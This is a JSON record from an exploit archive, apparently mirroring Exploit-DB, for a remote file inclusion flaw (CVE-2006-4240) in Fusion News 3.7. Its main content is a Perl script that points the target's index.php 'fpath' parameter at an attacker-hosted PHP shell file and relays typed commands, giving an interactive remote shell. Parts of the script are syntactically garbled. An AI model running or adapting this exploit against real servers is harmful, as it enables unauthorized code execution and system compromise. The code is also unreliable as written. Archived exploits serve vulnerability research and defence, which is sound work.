{"exploit":{"id":"EDB-28394","name":"Fusionphp Fusion News 3.7 - 'index.php' Remote File Inclusion (RFI)","description":"Fusionphp Fusion News 3.7 - 'index.php' Remote File Inclusion (RFI)","cves":["CVE-2006-4240"],"author":"O.U.T.L.A.W","published":"2006-08-16","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/28394","path":"exploits/php/webapps/28394.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-28394.pl","vulnerabilities":[{"id":"CVE-2006-4240","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in index.php in Fusion News 3.7 allows remote attackers to execute arbitrary PHP code via a URL in the fpath parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4240","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4240"},"updatedAt":"2024-08-07T19:06:06.705Z","retrievedAt":"2026-11-27T18:07:18.032Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-28394.png?v=2","url":"https://exploitbin.com/exploits/EDB-28394","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-28394/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-28394/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# source: https://web.archive.org/web/2006/https://www.securityfocus.com/bid/19546/info\n\n# Fusion News is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.\n\n# An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to access the underlying system.\n\n\n\t###########################################################################################\n\n\t#\t\t\tAria-Security.net Advisory                                   \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t     #\n\n\t#\t\t\tDiscovered  by: OUTLAW                                    \t\t\t\t\t\t\t\t\t\t\t\t\t\t               #\n\n\t#\t\t\t< www.Aria-security.net >                               \t\t\t\t\t\t\t\t\t\t\t\t\t\t              #\n\n\t#\t\tGr33t to: A.u.r.a  & HessamX & Cl0wn & DrtRp\t\t\t\t\t\t\t\t\t\t\t\t\t                       \t  #\n\n\t#\t\t  Special Thanx To All Aria-Security Users      \t\t\t  \t\t\t\t\t\t\t\t\t\t\t\t\t #\n\n\t###########################################################################################\n\n\nuse LWP::UserAgent;\n\nprint \"\\n === Fusion News v3.7 Remote File Inclusion\\n\";\n\nprint \"\\n === Discovered by OutLaw .\\n\";\n\nprint \"\\n  === www.Aria-Security.Net\\n\";\n\n\n$bPath = $ARGV[0];\n\n$cmdo = $ARGV[1];\n\n$bcmd = $ARGV[2];\n\n\nif($bPath!~/http:\\/\\// || $cmdo!~/http:\\/\\// || !$bcmd){usage()}\n\n\n\n\nwhile()\n\n\n\n       print \"[Shell] \\$\";\n\nwhile(<STDIN>)\n\n       {\n\n               $cmd=$_;\n\n               chomp($cmd);\n\n\n$xpl = LWP::UserAgent->new() or die;\n\n$req = HTTP::Request->new(GET =>$bpath.&#039;index.php?fpath=&#039;.$cmdo.&#039;?&&#039;.$bcmd.&#039;=&#039;.$cmd)or die \"\n\\n Could not connect !\\n\";\n\n$res = $xpl->request($req);\n\n$return = $res->content;\n\n$return =~ tr/[\\n]/[ê;\n\nif (!$cmd) {print \"\\nPlease type a Command\\n\\n\"; $return =\"\";}\n\nelsif ($return =~/failed to open stream: HTTP request failed!/)\n\n       {print \"\\n Could Not Connect to cmd Host\\n\";exit}\n\nelsif ($return =~/^<b>Fatal.error/) {print \"\\n Invalid Command\\n\"}\n\nif($return =~ /(.*)/)\n\n\n\n       $freturn = $1;\n\n       $freturn=~ tr/[ê[\\n]/;\n\n       print \"\\r\\n$freturn\\n\\r\";\n\n       last;\n\n\n\n\nelse {print \"[Shell] \\$\";}}}last;\n\n\nsub usage()\n\n {\n\nprint \" Usage : fusion.pl [host] [cmd shell location] [cmd shell variable]\\n\";\n\nprint \" Example : fusion.pl http://fusionnews.com http://www.shell.com/cmd.txt cmd\\n\";\n\n exit();\n\n }","sha256":"52d648473e12401a9a7155b6c34122e6a5826014f8e37d2cbef84ecf57b87604","bytes":2412,"fetchedAt":"2026-11-27T18:07:13.310Z","encoding":"utf-8 (display only; download retains original bytes)"}